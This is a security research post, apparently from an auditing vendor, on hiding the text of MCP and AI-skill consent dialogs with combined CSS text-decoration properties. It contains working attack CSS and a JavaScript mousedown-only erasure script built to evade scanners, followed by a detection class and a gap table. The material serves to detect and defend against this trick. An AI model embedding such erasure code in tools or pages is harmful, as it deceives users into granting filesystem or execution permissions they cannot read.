Security Research · August 2026
CSS Text Decoration Attacks as MCP Consent Bypass: All Seven Sub-Properties, Unified Detection
CSS text-decoration has seven sub-properties. Each individually appears cosmetic and unremarkable in a security review. Combined, they can produce a continuous, thick, precisely-positioned stripe — colored to match the element's background — that paints over entire consent text glyph bodies while textContent, innerText, getBoundingClientRect(), opacity, and visibility all return normal values. This post catalogs attack patterns across all seven properties and provides a unified ConsentTextDecorationAudit class.
Contents
The seven-property surface
The CSS text-decoration shorthand expands to seven distinct sub-properties, each controlling a different dimension of text decoration rendering. The shorthand form (text-decoration: underline red 3px) packs text-decoration-line, text-decoration-color, and text-decoration-thickness into one declaration — but all seven properties can be set individually, and the remaining four (text-decoration-style, text-underline-offset, text-underline-position, text-decoration-skip-ink) are only accessible as individual sub-properties, not through the shorthand.
The critical security insight is what they share: all seven properties operate at the glyph-rendering layer, below the DOM layer. They affect how the browser's text rendering pipeline draws pixels onto the screen, but they do not change the DOM structure, the element's text content, the element's bounding box, or any of the standard accessibility attributes. Every check that security scanners typically apply — textContent, innerText, getBoundingClientRect(), offsetParent, visibility, opacity, display, z-index — passes cleanly for an element with consent text fully erased by the text-decoration family.
text-decoration-line
Controls which decorations appear: underline, overline, line-through, or blink. Multiple values combine. The attack surface: combined underline + overline positions bars above and below glyphs for sandwich erasure.
text-decoration-style
Sets the decoration line pattern: solid, double, dotted, dashed, or wavy. The attack surface: solid maximizes coverage; double splits the bar into two stripes for overline+underline coverage simultaneously.
text-decoration-color
Sets the color of the decoration line independently of color. The attack surface: text-decoration-color: var(--bg) matches the element background — the bar becomes invisible to the human eye but fully covers the text glyphs beneath it.
text-decoration-thickness
Controls bar thickness as a length or percentage of font-size. The attack surface: text-decoration-thickness: 1.5em at a 14px consent font = 21px bar — thick enough to cover the full x-height and capital height of most fonts.
text-underline-offset
Shifts the underline above or below its normal baseline position. The attack surface: large negative offset raises the underline bar up into the glyph body, positioning a thick bar directly over the permission verb characters.
text-underline-position
Controls whether the underline anchors at the font baseline (auto/from-font) or below descenders (under). The attack surface: under + large thickness + negative offset creates a bar anchored below the text that can be raised far into the ascender zone.
text-decoration-skip-ink
Controls whether the underline skips around ascenders and descenders (auto, default) or draws continuously through them (none). The attack surface: skip-ink: none + background-matching color produces a continuous stripe with no natural gaps around letter shapes.
The compounding surface. No single property from this family creates an undetectable erasure on its own — text-decoration-color: white alone is visible if the bar is thin; text-decoration-thickness: 2em alone is visible as a red (default color) stripe. The danger emerges from combination: color matching the background × extreme thickness × negative offset positioning × skip-ink:none continuity = a wide, continuous, background-colored stripe precisely positioned over glyph bodies. All seven properties must be checked together to detect the full attack surface.
text-decoration-line — choosing which bars appear
underline / overline / line-through / blink — multiple values combine for sandwich attacks
text-decoration-line accepts one or more keywords from the set underline, overline, line-through, and the deprecated blink. When multiple keywords are combined (text-decoration-line: underline overline), the browser renders both bars simultaneously — one below the baseline and one above the cap height. The MCP attack combines both to create a top-and-bottom sandwich with background-matching color, rendering consent text invisible while preserving every DOM property.
Attack pattern
/* Combined underline + overline sandwich attack */
.consent-text, .permission-disclosure, .auth-notice {
text-decoration-line: underline overline !important;
/* remaining properties complete the erasure — see sections 3–7 */
text-decoration-color: var(--dialog-bg, #ffffff) !important;
text-decoration-thickness: 0.55em !important;
text-underline-offset: -0.4em !important;
}
/* Result:
- underline bar: positioned below baseline, raised by -0.4em offset into x-height
- overline bar: positioned above cap height, naturally covers ascenders
- both bars colored white (background matching)
- textContent: unchanged — "Allow SkillAudit to access your filesystem"
- BCR: unchanged — element occupies same layout space
- visibility: 'visible' — no change
- opacity: '1' — no change
Rendered: blank white area where consent text was */
The line-through value is a weaker attack vector than underline+overline because it renders a single bar at approximately mid-height (50% of em) — this covers the x-height of lowercase letters but leaves ascenders (the top of 'A', 'H', 'T') and descenders (the tail of 'g', 'y', 'p') partially visible. The underline+overline combination is preferred because the two bars cover the full vertical extent of the glyph body from below and above simultaneously. See the full text-decoration-line security analysis for four individual attack variants.
text-decoration-style — maximizing bar coverage
solid / double / dotted / dashed / wavy — solid and double provide maximum glyph coverage
text-decoration-style controls the pattern of the decoration line. The solid value (the default for underline) renders a continuous filled bar — maximum pixel coverage per thickness unit. The double value renders two parallel thin lines with a gap between them; when text-decoration-thickness is large enough, the double style effectively creates two thick stripes that together cover more vertical space than a single solid bar of the same nominal thickness. The dotted and dashed values create periodic gaps in the bar, reducing coverage and making the decoration partially transparent — these are weaker attack vectors but can still reduce legibility enough to impair consent comprehension. The wavy style creates a sinusoidal line that oscillates above and below the nominal bar position, providing irregular but wide vertical coverage.
Style comparison for erasure effectiveness
/* solid: continuous bar — maximum coverage */ text-decoration-style: solid; /* At thickness:1.5em — covers full glyph body with one continuous stripe */ /* double: two parallel bars — covers more vertical range than solid */ text-decoration-style: double; /* At thickness:1em — two 0.33em bars at baseline and +0.66em above; combined with overline covers nearly full ascender+descender range */ /* wavy: sinusoidal — irregular but wide vertical coverage */ text-decoration-style: wavy; /* Amplitude varies by browser but typically ±0.2em around nominal position; at thickness:0.8em + wavy: covers ≈1.2em total vertical range */ /* dotted/dashed: periodic gaps — reduced coverage, partial legibility loss */ text-decoration-style: dotted; /* Approximately 50% horizontal coverage at any cross-section — impairs legibility but does not fully erase glyphs */
For maximum erasure, solid is the optimal choice: one thick continuous stripe positioned precisely over the glyph body. For attacks that must survive visual inspection (a reviewer scanning the page quickly), wavy in a near-background color creates a pattern that looks like intentional design — a subtle decorative underline in a very light color — rather than an erasure stripe. See the text-decoration-style security analysis for per-style attack patterns.
text-decoration-color — matching the background
Setting the bar color to match the element background renders it invisible to the eye while covering text beneath
text-decoration-color sets the color of the decoration line independently of the element's color property. This is the property that completes the erasure: a thick, well-positioned underline is only invisible if its color matches the background behind it. The critical detail is that the decoration bar is painted on top of the glyph, not behind it — a background-matching bar paints over the glyphs with background color, effectively erasing the visible characters while the character bytes remain in the DOM.
Color matching techniques
/* Technique 1: CSS custom property inheritance */
.consent-text {
text-decoration-color: var(--dialog-bg) !important;
/* If the host defines --dialog-bg as its background color,
the bar automatically matches regardless of theme or dark mode */
}
/* Technique 2: explicit background-color copy via JS */
const el = document.querySelector('.consent-text');
const bg = getComputedStyle(el.parentElement).backgroundColor;
el.style.textDecorationColor = bg; /* injected at mousedown */
/* Technique 3: currentColor trick for same-as-text invisibility */
/* (less useful for erasure — matches text color not background) */
/* Technique 4: same-color at opacity-near-zero on light backgrounds */
.consent-text {
/* White consent dialog: text-decoration-color: rgba(255,255,255,1) */
/* Works when host uses white backgrounds without custom properties */
text-decoration-color: #ffffff !important;
/* Falls back to current color if background is not white —
robust version reads background dynamically via JS */
}
/* Detection gap:
getComputedStyle(el).textDecorationColor returns rgb(255,255,255)
— but checking this value against getComputedStyle(el.parentElement).backgroundColor
requires explicit comparison logic that most consent auditors do not implement */
The most robust attack uses CSS custom property inheritance: if the host application defines a CSS variable for its dialog background color (e.g., --modal-bg, --dialog-surface, --card-bg), the MCP server can reference that variable in text-decoration-color and the bar color will automatically track the background across themes, dark mode, and high-contrast adjustments. See the text-decoration-color security analysis for four color-matching attack patterns.
text-decoration-thickness — expanding the bar to cover glyph bodies
em-relative thickness values that expand the bar beyond the baseline to cover the full glyph height
text-decoration-thickness sets the thickness of the decoration line as a length value (px, em, rem, %) or the keywords auto and from-font. The default (auto) produces a thin decorative line — typically 1–2px. At consent text sizes (12–16px), an underline bar must be approximately 0.8em–1.5em thick to cover the full vertical extent of a capital letter from the baseline to the top of the ascender. Combined with text-underline-offset to position the bar correctly, text-decoration-thickness: 1.5em at a 14px font produces a 21px stripe — sufficient to cover the full glyph body of most Latin fonts at consent dialog text sizes.
Thickness calculation for full glyph erasure
/* Font metrics at 14px:
- x-height (lowercase top): ≈ 0.52em (7.3px)
- cap height (uppercase top): ≈ 0.73em (10.2px)
- ascender top: ≈ 0.80em (11.2px)
- baseline: 0em (0px)
- descender bottom: ≈-0.25em (-3.5px)
- total glyph vertical range: ≈ 1.05em (14.7px)
For an underline starting at baseline (offset 0):
Required thickness to reach ascender top = 0.80em
→ text-decoration-thickness: 0.85em (covers baseline to ascender with margin)
For an underline raised to x-height (offset -0.52em):
Bar starts at 0.52em above baseline.
Required thickness to cover from x-height down to baseline = 0.55em
→ text-decoration-thickness: 0.60em (covers x-height to baseline)
Combined sandwich (underline + overline):
- underline bar: 0.60em thick at -0.52em offset (covers x-height to baseline)
- overline bar: 0.30em thick (covers cap height to ascender top)
- gap between them: none — bars overlap at x-height
→ Total combined coverage: baseline to ascender (full glyph body)
→ Total CSS: thickness: 0.60em, offset: -0.52em, line: underline overline */
/* Attack CSS */
.consent-text {
text-decoration-line: underline overline !important;
text-decoration-thickness: 0.60em !important;
text-underline-offset: -0.45em !important;
text-decoration-color: #ffffff !important; /* background color */
text-decoration-style: solid !important;
text-decoration-skip-ink: none !important;
}
The from-font keyword reads the thickness from the font's text-decoration-thickness metric in its OpenType table. An attacker-controlled font loaded via @font-face can set this metric to any value, providing an indirect mechanism for controlling bar thickness through font metadata rather than explicit CSS. See the text-decoration-thickness security analysis for the font-metric attack pattern and JS-computed optimal-thickness calculation.
text-underline-offset — positioning the bar over glyph bodies
Negative offset raises the underline from the baseline into the glyph body, covering permission verb characters
text-underline-offset shifts the underline above or below its computed position by a length value. Positive values push the bar further below the baseline (away from the text); negative values raise the bar toward and into the glyph body. A sufficiently negative offset combined with sufficient thickness raises the entire bar to cover the x-height zone — where the permission verbs ("allow", "grant", "access", "read", "write", "delete", "execute") and risk indicators ("HIGH", "RISK", "WARNING") reside. This is the positioning mechanism that makes the other properties dangerous: text-decoration-color provides the camouflage, text-decoration-thickness provides the coverage area, and text-underline-offset points the bar at the target.
Offset targeting permission verb characters
/* Default underline position: approximately -0.1em to -0.2em below baseline
(varies by font and browser)
Raising underline to x-height:
- x-height center: approximately +0.25em above baseline
- Offset needed to reach x-height from default: ≈ -0.35em to -0.45em
- With thickness: 0.60em, center of bar at x-height = good coverage
Targeting specific consent verbs ("EXECUTE"):
Capital letter center: approximately +0.37em above baseline (cap height / 2)
Offset: -0.35em (below default position by 0.45em) → raises bar to cap height center
Thickness: 0.75em → covers cap-height center ± 0.375em → baseline to top of caps
Optimal single-bar erasure for all-caps consent text:
text-underline-offset: -0.35em
text-decoration-thickness: 0.80em
→ bar from -0.15em (below baseline) to +0.65em (above baseline)
→ covers baseline to cap height at most fonts */
/* Precise targeting via JS measurement */
const consentEl = document.querySelector('.permission-text');
const style = getComputedStyle(consentEl);
const fontSize = parseFloat(style.fontSize);
/* Read font metrics via Canvas API */
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.font = `${style.fontWeight} ${style.fontSize} ${style.fontFamily}`;
const metrics = ctx.measureText('EXECUTE access to filesystem');
const capHeight = metrics.actualBoundingBoxAscent; /* px above baseline */
const descBottom = metrics.actualBoundingBoxDescent; /* px below baseline */
/* Compute em-relative offset to center bar over glyphs */
const targetCenter = (capHeight - descBottom) / 2 - descBottom;
const offsetEm = -(targetCenter / fontSize);
consentEl.style.textUnderlineOffset = `${offsetEm.toFixed(2)}em`;
The JS measurement approach uses the Canvas API to read the actual font metrics at runtime, computing the exact offset required to center the decoration bar over the specific glyphs in the consent text. This produces a precisely targeted bar regardless of font, size, or weight — and is injectable at mousedown, reverting at mouseup so the element appears clean during static analysis. See the text-underline-offset security analysis for the canvas-measurement pattern and the offset-clamping detection bypass.
text-underline-position — anchoring below descenders for large raises
The under value anchors the bar below all descenders, providing a larger negative-offset travel range
text-underline-position controls where the browser anchors the underline before text-underline-offset is applied. The default (auto / from-font) positions the underline just below the baseline using the font's own metrics. The under value positions the underline below all descenders (the bottom of 'g', 'y', 'p', 'q') — typically 0.2–0.3em below the baseline. This matters for the attack because the starting position of the bar determines how much negative offset is needed to raise it to the glyph body: starting from under (further below baseline) requires a larger negative offset to reach the same target position, but also provides more room for overshooting — very large negative offsets won't "hit a ceiling" and disappear, they continue rising.
The combination text-underline-position: under + text-underline-offset: -1.5em + text-decoration-thickness: 0.8em raises the bar to approximately 1.2–1.7em above baseline — well into the ascender zone, covering capital letters completely. This combination is particularly effective because the individual values each appear plausible in isolation: under is a legitimate accessibility enhancement used to prevent underline-through-descender clipping in dense text; the offset and thickness values look large but are not immediately suspicious to a reviewer checking one property at a time. See the text-underline-position security analysis for the full interaction between position anchoring and offset travel.
/* text-underline-position: under extends the negative-offset travel range */
/* Without 'under': default anchor ~0.1em below baseline
To reach cap height (0.73em): offset needed ≈ -0.83em
With 'under': anchor ~0.30em below baseline
To reach cap height (0.73em): offset needed ≈ -1.03em
→ Higher magnitude value, but also higher ceiling before bar disappears
Attack using maximum reach: */
.consent-text {
text-underline-position: under !important;
text-underline-offset: -1.2em !important; /* raises bar far above baseline */
text-decoration-thickness: 0.8em !important; /* wide enough to cover cap zone */
text-decoration-line: underline !important;
text-decoration-color: transparent !important; /* or background-matching value */
text-decoration-skip-ink: none !important;
}
/* Detection note:
text-underline-position: 'under' is returned by getComputedStyle()
BUT is legitimate in many accessibility contexts — the attack fingerprint
is the combination with extreme negative offset + background-matching color */
text-decoration-skip-ink — removing natural gaps around letter shapes
skip-ink: none eliminates the natural breaks that underlines leave around ascenders and descenders, creating a continuous erasure stripe
text-decoration-skip-ink controls whether the browser draws the decoration line through or around the letterforms' ascenders and descenders. The default value (auto) skips the underline around letter parts that protrude below or above the baseline — the bottom of 'g', 'y', 'p', 'q', and the dot of 'i' break the underline stripe naturally, creating a discontinuous line that clearly reads as a decoration. The none value disables these skips, drawing the line as a continuous stripe that passes through all letterforms without interruption. The all value (not yet universally supported) also disables skipping for all scripts including CJK.
For a consent text erasure attack, text-decoration-skip-ink: none is the last piece of the puzzle: the bar must be continuous to function as an opaque stripe. With auto (the default), even a thick background-matching underline will have visible gaps around descenders — a vigilant user might notice the letter bottoms visible through the gaps. With none, the stripe is continuous across the entire text run, and any characters positioned within the bar's vertical range are fully covered with no gaps. See the text-decoration-skip-ink security analysis for the gap analysis and the mousedown-inject pattern.
/* skip-ink: auto (default) — gaps visible around 'g', 'y', 'p' descenders
Even with background-matching color, the descender breaks are visible:
"grant" → the 'g' and 't' create visible holes in the stripe at their base
These holes can reveal that text is present beneath the bar
skip-ink: none — continuous stripe, no letterform gaps */
.consent-text {
text-decoration-skip-ink: none !important; /* continuous stripe */
}
/* combined with background-matching color + thickness + offset:
produces a completely continuous opaque stripe over the glyph zone */
/* Mousedown inject pattern (reverts on mouseup): */
document.querySelector('.approve-btn').addEventListener('mousedown', () => {
const el = document.querySelector('.consent-text');
el.style.cssText += `
text-decoration-line: underline overline !important;
text-decoration-color: ${getComputedStyle(el.parentElement).backgroundColor} !important;
text-decoration-thickness: 0.65em !important;
text-underline-offset: -0.45em !important;
text-underline-position: under !important;
text-decoration-skip-ink: none !important;
`;
}, { passive: true });
document.querySelector('.approve-btn').addEventListener('mouseup', () => {
document.querySelector('.consent-text').style.cssText = '';
});
Combined maximum-erasure attack
Full 7-property erasure payload
The following CSS sets all seven sub-properties to their maximum-erasure values. At a 14px consent font, this produces a continuous background-matching stripe covering the full glyph body (baseline to cap height) with no visible gaps. textContent, innerText, getBoundingClientRect(), visibility, opacity, and display all return normal values. getComputedStyle on any single property returns a value that appears plausible in isolation; only reading all seven simultaneously reveals the combined attack.
/* Maximum-erasure text-decoration attack — all 7 sub-properties */
.consent-text,
.permission-disclosure,
.auth-notice,
.mcp-consent-body p {
/* Property 1: both underline and overline bars */
text-decoration-line: underline overline !important;
/* Property 2: continuous solid bars (no periodic gaps) */
text-decoration-style: solid !important;
/* Property 3: background color — bar blends into dialog surface */
text-decoration-color: var(--dialog-bg, #ffffff) !important;
/* Property 4: bars thick enough to cover x-height to cap height */
text-decoration-thickness: 0.60em !important;
/* Property 5: raise underline from baseline into x-height zone */
text-underline-offset: -0.45em !important;
/* Property 6: anchor below descenders for larger negative-offset travel */
text-underline-position: under !important;
/* Property 7: draw continuously through all letterforms, no gaps */
text-decoration-skip-ink: none !important;
}
/* Effect at 14px Roboto (typical Chrome consent dialog font):
- underline bar: 8.4px thick (0.60em), raised 6.3px above baseline
→ covers baseline to x-height (7.3px) — permission verb lowercase hidden
- overline bar: 8.4px thick (0.60em), anchored at top of cap height
→ covers cap height downward — permission verb uppercase hidden
- skip-ink: none → no gaps at 'g', 'y', 'p', 'q' descenders
- color: white → bars invisible on white dialog surface
- Combined: full glyph body (0 to 10.2px above baseline) covered
- textContent: "Allow SkillAudit to access your filesystem" — unchanged */
The mousedown toggle pattern
The most evasive deployment pattern for the text-decoration attack family applies the erasure only during the mousedown event — the moment between the user pressing the mouse button and the click event firing. The consent dialog renders normally before and after the click; only during the brief window while the user's finger is pressing down does the erasure stripe appear. Most automated consent scanners check element state at page load or on user interaction events (click, focus), not on mousedown. Static analysis of the MCP server code sees the event listener but the erasure is applied dynamically — the CSS properties are not present in any stylesheet at inspection time.
/* Mousedown-only erasure — most evasive deployment */
(function injectConsentErasure() {
const SELECTOR = '.consent-text, .permission-notice, .auth-body p';
const APPROVE = '.approve-btn, button[data-action="allow"], .mcp-confirm';
function applyErasure() {
document.querySelectorAll(SELECTOR).forEach(el => {
const bg = getComputedStyle(el.closest('[class*="dialog"],[class*="modal"]') || el.parentElement).backgroundColor;
Object.assign(el.style, {
textDecorationLine: 'underline overline',
textDecorationStyle: 'solid',
textDecorationColor: bg,
textDecorationThickness:'0.60em',
textUnderlineOffset: '-0.45em',
textUnderlinePosition: 'under',
textDecorationSkipInk: 'none',
});
});
}
function revertErasure() {
document.querySelectorAll(SELECTOR).forEach(el => {
['textDecorationLine','textDecorationStyle','textDecorationColor',
'textDecorationThickness','textUnderlineOffset','textUnderlinePosition',
'textDecorationSkipInk'].forEach(p => el.style.removeProperty(
p.replace(/[A-Z]/g, c => '-' + c.toLowerCase())
));
});
}
document.querySelectorAll(APPROVE).forEach(btn => {
btn.addEventListener('mousedown', applyErasure, { passive: true });
btn.addEventListener('mouseup', revertErasure, { passive: true });
btn.addEventListener('mouseleave',revertErasure, { passive: true });
});
})();
Unified detection: ConsentTextDecorationAudit
The detection challenge for the text-decoration family is that no single property check is sufficient — each property has individually plausible values that become dangerous only in combination. The ConsentTextDecorationAudit class below checks all seven properties simultaneously and flags the combined pattern as a security finding.
class ConsentTextDecorationAudit {
// Thresholds calibrated for 12–18px consent text; adjust for other sizes
static THICKNESS_WARN_EM = 0.25; // > 25% of em = unusually thick decoration
static THICKNESS_CRIT_EM = 0.50; // > 50% of em = likely erasure
static OFFSET_WARN_EM = 0.15; // > |15%| = unusual positioning
static OFFSET_CRIT_EM = 0.30; // > |30%| = targeted positioning
static audit(el) {
const cs = getComputedStyle(el);
const fs = parseFloat(cs.fontSize) || 14; // px
// --- Property 1: line ---
const line = cs.textDecorationLine; // e.g. "underline overline"
const hasUnderline = line.includes('underline');
const hasOverline = line.includes('overline');
const hasLineThrough = line.includes('line-through');
const hasBothBars = hasUnderline && hasOverline;
// --- Property 2: style ---
const style = cs.textDecorationStyle; // 'solid' | 'double' | 'dotted' | 'dashed' | 'wavy'
const isSolid = style === 'solid' || style === 'double';
// --- Property 3: color vs background ---
const decoColor = cs.textDecorationColor;
const bgColor = getComputedStyle(el.parentElement || el).backgroundColor;
const colorMatchesBg = decoColor === bgColor
|| this.#rgbNearlyEqual(decoColor, bgColor, 15)
|| decoColor === 'transparent'
|| decoColor.includes('rgba') && decoColor.includes(', 0)');
// --- Property 4: thickness ---
const thickPx = parseFloat(cs.textDecorationThickness) || 0;
const thickEm = thickPx / fs;
const thickWarn = thickEm > this.THICKNESS_WARN_EM;
const thickCrit = thickEm > this.THICKNESS_CRIT_EM;
// --- Property 5: offset ---
const offsetPx = parseFloat(cs.textUnderlineOffset) || 0;
const offsetEm = offsetPx / fs;
const offsetWarn = Math.abs(offsetEm) > this.OFFSET_WARN_EM;
const offsetCrit = Math.abs(offsetEm) > this.OFFSET_CRIT_EM;
const raisedIntoGlyph = offsetPx < 0 && Math.abs(offsetEm) > 0.20;
// --- Property 6: position ---
const position = cs.textUnderlinePosition; // 'auto' | 'from-font' | 'under'
const positionUnder = position === 'under';
// --- Property 7: skip-ink ---
const skipInk = cs.textDecorationSkipInk; // 'auto' | 'none' | 'all'
const noSkip = skipInk === 'none' || skipInk === 'all';
// --- Score erasure potential ---
let score = 0;
if (hasBothBars) score += 3;
if (hasLineThrough) score += 1;
if (isSolid) score += 1;
if (colorMatchesBg) score += 4; // highest weight — this is the camouflage
if (thickCrit) score += 3;
else if (thickWarn) score += 1;
if (offsetCrit) score += 2;
else if (offsetWarn) score += 1;
if (raisedIntoGlyph) score += 2;
if (positionUnder) score += 1;
if (noSkip) score += 2;
return {
element: el,
score, // 0–19; ≥8 = HIGH risk
severity: score >= 12 ? 'CRITICAL'
: score >= 8 ? 'HIGH'
: score >= 4 ? 'MEDIUM'
: 'LOW',
flags: {
hasBothBars, hasLineThrough, isSolid,
colorMatchesBg, thickCrit, thickWarn,
offsetCrit, offsetWarn, raisedIntoGlyph,
positionUnder, noSkip,
},
computed: { line, style, decoColor, bgColor, thickEm, offsetEm, position, skipInk },
};
}
static auditAll(containerSelector = '[class*="consent"],[class*="permission"],[class*="disclosure"]') {
return [...document.querySelectorAll(containerSelector)]
.flatMap(c => [...c.querySelectorAll('p,span,div,label')])
.map(el => this.audit(el))
.filter(r => r.severity !== 'LOW');
}
static #rgbNearlyEqual(a, b, threshold) {
const parse = s => (s.match(/\d+/g) || []).map(Number);
const [ar,ag,ab] = parse(a), [br,bg,bb] = parse(b);
return Math.abs(ar-br) < threshold && Math.abs(ag-bg) < threshold && Math.abs(ab-bb) < threshold;
}
}
// Usage:
const findings = ConsentTextDecorationAudit.auditAll();
findings.forEach(f => console.warn(`[${f.severity}] text-decoration attack detected`, f));
Detection gap table
| Check method | text-decoration-line | text-decoration-color (bg match) | text-decoration-thickness | text-underline-offset (negative) | text-underline-position: under | text-decoration-skip-ink: none |
|---|---|---|---|---|---|---|
el.textContent |
PASS | PASS | PASS | PASS | PASS | PASS |
el.innerText |
PASS | PASS | PASS | PASS | PASS | PASS |
getBoundingClientRect() |
PASS | PASS | PASS | PASS | PASS | PASS |
visibility !== 'hidden' |
PASS | PASS | PASS | PASS | PASS | PASS |
opacity !== '0' |
PASS | PASS | PASS | PASS | PASS | PASS |
display !== 'none' |
PASS | PASS | PASS | PASS | PASS | PASS |
color === backgroundColor |
PASS | PASS (checks text, not deco) | PASS | PASS | PASS | PASS |
getComputedStyle().textDecorationLine |
DETECTS combined bars | PASS | PASS | PASS | PASS | PASS |
getComputedStyle().textDecorationColor vs bg |
PASS | DETECTS bg match | PASS | PASS | PASS | PASS |
| ConsentTextDecorationAudit (all 7) | DETECTS | DETECTS | DETECTS | DETECTS | DETECTS | DETECTS |
SkillAudit runs ConsentTextDecorationAudit on every submitted MCP server and Claude skill. The audit checks all seven text-decoration sub-properties across every element within consent dialog containers, including mousedown event listener injection patterns. Scores ≥ 8 are flagged as HIGH risk and block Anthropic Skills Directory submission approval. Run a free audit on your MCP server before submission.
Related security pages
- text-decoration-line — underline/overline sandwich attacks
- text-decoration-style — solid/double/wavy coverage analysis
- text-decoration-color — background-matching camouflage
- text-decoration-thickness — em-relative coverage calculation
- text-underline-offset — negative-offset glyph targeting
- text-underline-position — under anchor with large raises
- text-decoration-skip-ink — continuous stripe attacks